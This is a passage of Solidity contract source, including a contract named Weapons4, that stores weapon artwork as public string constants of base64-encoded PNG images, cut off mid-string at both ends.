yHdVdCKLv94rx8J6aeZ57QwiinTa+5jGzZ8clNOLtVuHbd0YhiDZ2Dh82IRPw+Fgh98q+78V+Invteny0UDh9L2JJO3TzTCgcH2/lkgD8xSm0HsIvXqHFLDTlLKGEEkoooYQS8gi/PkWYWZkmnMe8zCvkm5fPQsZ5+SSknJffSjvtPPoEFhtHaY+aPi8T+8Y0OlOf1iVTP02IHyNKKaU+NfpHH8YA5tebPi8PIfGsN4TMkxSEeFGknkZzGf8H+SfC333NJMouVdTCAAAAAElFTkSuQmCC";
string public constant weapon40 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABFUExURUdwTHUkOBAUHygxLSAuN0EdMTlKUIqlrktaaiQVJ6UwMIGXlldyd89XPMfPzJgbLc0zIeduPu+jQtlZPOOLP7UqKu/Hc6tclWQAAAABdFJOUwBA5thmAAAIr0lEQVR42u2ci3KbOhCGLSRkJIPBNs77P2r335UA3xJjI9DMOZpp2jhp/eXf+wLd7f4///mjdVXpnPkqHJ05X+6Amk7eAmar4ciXJ+GUL3/AKlPA/X6fLyAR7veRMNMoEcRsAYOC+3wFjHy5Jmod5dPZuJy+/XRwQJ1NWtEPWSafIL7rrDhChFCHkxngPh68yqQbE1avAKOSWxNK7zci3hDuB8LtTC0mhsvdpukbJbXeMGKGsNXx0yeAm8Z0bF/0qGhWgMgkbONqnDjv+AJgtQ3e0PvpW5Pz61E/vZWCQ2Nwk6uraqqcrrarK3oSp0+cUk61Ye+lp2XjdvFRwfgD4FYhovdPTDyNlCGANirKcfwAybPciCISp7z9Fu2X6FTdV9xJoqn0JDNuYGZ9W3F3j+VOTzPj+oS/AVY3Nt5QwiEt35p46CGCE27VeU3S8qv1kR5MXm0EKJnuJhHqCV81Kcrb7BGQQ27fXLCrvX6ImK27rftMkwGgED4YT8fAqcYBZcuOld+7mJ6KwxtT1fabGrw3mIyxh3CsEWGHarMlIIWJHuBqOYcDI5miGGJoOz6gCF49HoKmj9aYYtN+a3DBABctfKiZjxFBuKkHEoDwHabHRk2NLfS2fKbWA1vd//z0l8vlCuksvywahjroShx8dOvxkZ+JWtdL35vxFOZ6udDLBhGtA5/y3qvS4ddafEeoRIQcEcbGA0A6/U9NhMHE4Gu8UisSCh88jvFYzXBsYfmzn95YWS4FPrFyswph4Dse7ZXSNHRr2/O5687nUwtAQezZxgUAwefYBdUahCPfBT5HNj2fulMgNMWpawXxQoQUKs6RByqHIHGATU9YRL4fdj7yuo6ka8UJC3PqupMgXuEBhVMO7lcCD4Tp+VjAyGdOJNoYJGThFnKemNBSCBWK5CMwKMeGTm/h42Bf8JF4TAg3xB8tvUL2PkFZIqTfvCcu8sOSlaSzioD2OvDBypYMG1yQXiFCpjZsY5aw9EHC5DaOAtbILsxnuo7cMHghocLGFM2G3ZBsXCJGICFFipOIXkHAyEeitXDDaZ4GH71C0WwuVJWDF4qQyicO4xDCAOTgJbW6c8fZTyrd9RIqnm27llINA5bwPsXeB86VLExgpBHzWQjX91dWkpoGI3HTWdOzjQFYlvIvqHK3koWRkcmc4EOL0IsLxmxzJUKSsIeEt0XYJQY8RkCc7sRRbK6csYdjipo6HJbwyskaSWa3BiEAjwwoVbgTvt4y1/BdRWGJkL5s4YXIhY1Ydo06jMMxUoQKwn3BSBcQkSjbzrCR6cs7X+7WOKaOgBaphAnRFdzxMWGNMO4GQj7JKUcB7SkQom154GOtDTRs0TQQIn9HqcpVFOQ6dw6EACieOENxlFTI4VRbJiy9Sg1oD8fQKJzPCFLu8J8IiIzJ+qGpYRszoPLJg2ToZKghOAfC4nlKN8JnBr4VbEzTJtIgkhxlmPOZc/RTQDaxldlvDCIqKcnHTQCiV+26FlUEBn7qguZopnwuEqYfiGsBbEnCjvrSFyFSH2u27uFgn/toQhsHQApjKHh5BCS8wxHrjxrD88p8NvogR8n5CSDwDpRX7CHgrcgXg4TnEeoTOgLsbwHhfMewU1odT9JMBISNOwYsbjP5IWyP1scbAK8CeG5pvLyTsIibGlOsjzeYWNrBMNI92tiYYhO6SSlhQhnfKEy2QfnVxiIhEaLfH+O4yAFwYmNK1gRIHhnMWZgiDwmP41AS1kdMSEkyOwklGqTjQvda7DKSUNhYx0uYUNKY2M2XsI5xjMEOH/qw/00iiZpPSOUCrVQLuFYIefORBFCpjwjtlQmJjj/YyyURH+aEDwhRkC2PbZ2ImEq/bwjFrJwO22R8TgaFDwn7IGI6PiEry9k7O3Sux7Bqezl5LhUhvNyeHyc0bVDfLFeHkyVoXswqNZOw4HKCeiKXhlPWjzIQzgBEaTvwgiE9nkQIAfo3AeFuNdMdxbortKW4iOabN681G2YD3Vp4wtg0b15fiRNlvSbezjHgm4SGb0mwa7amzpOJnX83UIrVByIAevJDpda752E2IS6YZkyIS5FALPMmLJGyy12+hCVfed5lS+jfz4bbEM7JhtvEsgDmnGvgg/nmGgJUnnJNvoSl56v2uAEn42RIuUblm2skGTZZJ8NmnfvTvkvXOdcTSdcuZw0pzzQu43riPE3KLut60oTe1WXdu1LSJgnzzNiRUG6LzZZQbvPzKlNCAlMNJWx0D1n6IYExYfL7sj/9+envedye7ZpkEvJt3984OVUTvvE0zZhX8t3p6hsnd3LzOEmYxoeahgk/9yHckuh5J5KIz+P5CPf5LbeOnRDhsrx5wyLD4Sb6jwkd/3QJagkmW+HDEP5F2WcBXQrzKhf4lNzb7z61cQoBia8Mz0QAEAshjuT5byQCLl2MwceG5XqvFEoWe2E5u4uXiuwXtnIJIB+8Jzyqw4S4EXwWYum5LVwaUO7ld+GBg4HQixZzELErxPJ/6TghwyB3hch13I7A7lieMuL7fAkBxwLHTi7LDBTn91MOCyiPgCwNCJ0m9/WzK4oHEuOcbOrkp12YT54qcQ9+2ahZ+TCVhUu+bnk/drP/ofvczQoRMsTSgFJFHpekTkJEzQJEaPmFXVDS1hjEU0Q37/5lvgD6QXp/I4Tdi/XU3HcKHccuAWC5xINhlOOXf0QvPoWKh2W/BsS4tHi3Ndj4a0C+LLb82C5NOuL4W+NIQ96oBO2gmzzB9lVbJM8CL03oFtqnsBF42br8LqFZ4vGrUsYFnwKQO2i3BCFZI8XQyQ8Buu/zIF/eXhwQaP7PYYfv1foTEJkwwVTMS/DfW1N8GZ76a7CTJZoEmy3sUuJI/MfoMu28Xyxnll8Bc+Z6Y0nPc4r/rWbLfyqhEowkLOAf06JsReTipnvZsaoEyw9x7L9midgyviakXkvF/wFj2SzYyGUY/7eFEcavvhF85SPfP+gThy0CtRULAAAAAElFTkSuQmCC";
string public constant weapon41 = "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";
string public constant weapon42 = "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";
}
contract Weapons4 {
string public constant weapon16 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAhUExURUdwTCAuN1dyd4GXljlKUIhLK2AsLMfPzL53KzQcJ96eQVRMLWkAAAABdFJOUwBA5thmAAAB5UlEQVRo3u2asWrjQBCGLQgH6XaN4t4bBdfx+gEisckb7KIyLiTi2nCpr1BYUqXJgd/A6CkzynFwzVX5CkHmw/XHvzuj1SzyYqEoiqIoiqIoiqJ8My5qwwqbqoaFtWWFJZ1waeGEtuvfUGFBCy+7BAvf04ndxPd0YIW/04Fd8ynSVYl8mU90mQ/zLzMsjN+xb+Z/3rzRjQgfYD+SjieKoih/R/fAztk21LAvlHfg2C6+OoBCW1ZBfqCwcaF0uLC6A5fsqrJxFViUxtVlINcsEWtryL4RY2A725IB58+Fg4XNLRzwCAubuQsLp8LZCUtauFShCmchfKaFm52Bhd6wz/LGo/NwIcI1LXSGFR63a1TojmjEohHhdm3Qzvbe1YbsmyNqlE2UiGK0MsoSc6ds4hTR+51dxbg3xCa650/jQ5tz3BObKMZp1btOjMkAm+gno4R8iDEPQMSllMRtJKQIYwaExbXffi77pwjbRJTlj9FNCdse6ZxrPynbbogDIZQbrhj9TX5pc0KE053Z+/ucu6GHPkTa4Kp2zC9pTz3SNty/jufcg6dOO47jLyyglFqE5xX5drl6RQNOEc+P7CXtKsPCAv9qYReK8oWOxP+e0ROvqn8CroYOPSYWq6cER+zwiG38b8QPIaeFJBFagbMAAAAASUVORK5CYII=";
string public constant weapon17 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAeUExURUdwTCAuNzxJW46gpnpIQVxzh9zi4k0rMq13V7rFxqYBUYIAAAABdFJOUwBA5thmAAAB8klEQVRo3u2azWrjMBRGfVfdWibgLmsZ5QEi4vUUDPa2Ls4LBAzZNSAYP4BhvJ3mhSvH7bK7M4Oh9zzA4ZOu/iw5SRRFURRFURRFUZSfhzGwr25S0idhnq6kMG8N2mYJJtRkQrmGGu1ECRMrjH04scJYZV5Ys+MGF8ZORIUy0sLYiahw6UR2ecjn6ffWhU2zceEU/qBzb2xadjKPgd0DJK8bdt8Teh9NJIWFCS5UFEX5T9iCWqvXldA4SviZzDjLrLHy2qWssDzeI4qDOlFKf48oroOEzh/uwqxn2izWr23OeiZiFPpirUpvGeFrtVYl658YYVl9jUSmKJ2r1pEInUaicDigR8PO4sIzLNzDwp4Xelh4UuHmhG77wv2NFrIzJcm2LyzPxwIVurPHhS/ol7K70ANxgIW28kdWeLrBVdnTZS7P6xGRGzeXf1CVAhXu6TaXQ4wIGjN7ihFBo9g4WfyhMJxwieg7a7g2LxH9ETPGiLHQpDGzdrjdjSkXcTUWXMRqNXIRo/ESjS9cRFsOMWRORVyMMeT7jrp+/jReHrELcjGL8e8I3pCbGLKoZ/AOPzZ7Z8L0TK61j01ekxtWPk9X9Cgm7fwrQclhXyJviaJsBzEpKzQN+4ItYce+D0vb0D+4zCP7QBzmiY340M7fvxB/AMd4eFjVIQ2WAAAAAElFTkSuQmCC";
string public constant weapon18 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAnUExURUdwTCAuNxUdKDlKUFdydyQVJ4GXlmAsLDQcJ4hLK6i1shUVFTMpIGPFtcEAAAABdFJOUwBA5thmAAACFElEQVRo3u2ZsWrCUBSGEyU0YJdrxNLNpu0DJA0O3dJIByfbEhJHaXFwF72bLUj0ASRmFITuXRy69NF6Q6fmbjc/JdTzjwE/Ps859xi5mkahUCgUCoVCoVAoFEoFM6g6sBaCgR9g4OkBDPw8LLHARjIF1zCZgtsczdHAGRgYp2CgkYZo4BINBM+NwdHANXqyh+jJHqIne4gexCit1FGp2TKwVJe7rvToa1GCV3+WgA2tDLAbuNgGdHtYYP3FRwNZ1YEj5nSgPfHZzRECm9JTUx3YFkC5zab62WuPmHUnA9VXtj5mli8V8aTEQmwzK4ACHcYCqStmGiuflAlj8r6J+Uod6DOvePjChM+V++ztmFcoopHwdKsM7O5FV34X0eRZulV+Aav3mVUoosnTWfgILKI5my8vmuqDuJcmcfVmO0x5ZbQn8n6oeYE6UB8LxcIk1nq9Ens8Vyx+/KqnXsMfxcILzmVQZusKRauJXNu5omMjfwdIkRRJ8T8pWrdgxfzX5TgbraEVO2BFbJ9zRdfugKvoIIm5ohcgiflrBJSYK+ZEpOJIEF2gYuteEJGKekv8XWu5yE4z4egjz7T41gy8dlo78NrR+2BFjRRJsUqK10jgQ//sKR4ggd77ZoW8qomt8yxeARWj13W2QRoaPMtmgwWQGGXg2y6Doy+a0TwKpVoxB2BgAr7BNjPw7avB0Zfs0Z8qfgN+LY/+qcn9lwAAAABJRU5ErkJggg==";
string public constant weapon19 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAYUExURUdwTBcgODxeiyU6XmAsLHO+04hLK0+PuhgKSUIAAAABdFJOUwBA5thmAAADBElEQVRo3u2ZMW/bMBCFeegf4CNpZyaFQGsp9g+oFbTbAOE5jaDdCgz9/Q6WZbuIh5LXNAX4JiPDh0ceebo8ClFUVFRUVFRUVFT0r0RgBppW8hocXniB297wrnn7MvACYZiBhIG5Khi5gT33udl2zJu45a4Kd5nF/1BmzVzmoJmrojwzUFfcZW48c1V0xQz0gbnMnrvMHp/+Nn/6HssPBHeP1YYbyHxuhPbctzlYZqBiBvL3WMVdlS+aezAW7EAq/74UFRV9iPjbFyA/C1A+ALaJqyb7YBNTgWp63yJeEoFPj4BD2iZS/QBIfSJwPsp3v3S0TQVaf/ltpLwd3dPGWDXrS5mpuyss2rSaXIFm0LdDV+LBvgKpbxuGoesKNIOukD+5Pk2rw7bxKuRapPoYqqW4ukJd5VqkeGyWSpD2UFOuxVsgEFBXng0oAO0ftYo/A2KdrANs5pJVPDZuWSVqq31u59/E3QVIupngYdpMoG3cOZpCCBaA6WQeUDfOfhWCoEMAgK5v84EQBBuClyB03SBzgQ5QzlUBQggzDlkWz8CzvBRCUD9mWbwBLhFapsVb4HJ6+rF7lXnHxlWAdpe2YMbhBzJuyi44Z53z7pKgUT9+/ybzgN5V/toJAWWTdxFxr5tK1W/+2rcoqMrIZGDUjXWnN3+TkwJOp7ZFPEcbfH0I/ibVJDTJXyts4i6o0+TvYlI0NjV0IBV3/vlQ6bUrnjuZ7RLzNELcq7hHWG/KEi11qY8geI6baEPj7ojkh1SLSu03ex2W27wiMXaJkR9Zu0MIa4O4fLD6ITU3VRs1IYTmN6QZ+2SLddxDryYDACkE9V2yxacYDxZhEep5tkII0/Wv6RZjnHDDO7fu4WfidVE4EwFg5Z2bTqpF1KcYYzzM8zytowMFZZF6XaBOMcbDfHeFtbepwx1hkbz/q9O84S4ceJNOakzHG+Lrbcf78krbgdmiGbkt9v+FRd4Ix4wtK09Qz5sHPYp1ioqKPkbcIa8Ed180I/MrtukH3lds6v6CxYe7+AtfV5jNFBQb3gAAAABJRU5ErkJggg==";
string public constant weapon2 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAwUExURUdwTCAuNzlKUEaCMnWnQyVWLldydxUdKEEdMWAsLIhLK4GXluvt6SeUrx5Wdm3hxv+xgPUAAAABdFJOUwBA5thmAAAB4ElEQVRo3u2aPU4CQRiGZ6q15BuWFaMWO8U2VgQ8ANnlAMTdA7DFNjZiQ02HJR3hBOIBbLiCiTfQUHgESxNHe7vHBOV7D/Dkfb+f2ZlkjVGpVCqVSqVSqVSqv6YWzLMpDHSetWiva9Zi8igOtXgqPkUtSvboBY28FYc6vJhs2a7IVgQFOlks0Bra7lJQoOm6hp1syWp2+exkw66KOdnMYeB6QQNXLLBLA+36fu+BGxoI19A9rNhlTh6W7DK7Bv7uHWU1G9ncrebw5QHucghNA1Uq1X/QbDa7QXkiQp42kfgmFdCi/eKlxyCw8SIeBEaJF+fJzLd16n1KFjHzAQhmNq4ORBI4zWBglASL6QwEuobtyndmMrKZJqxBE1GPvHCJQ+9xZx8iPRT4/LEbksDzp5ddTh6t9ultV6LA17LqkEWU8/e8GoMGi3FnMAKBJs7H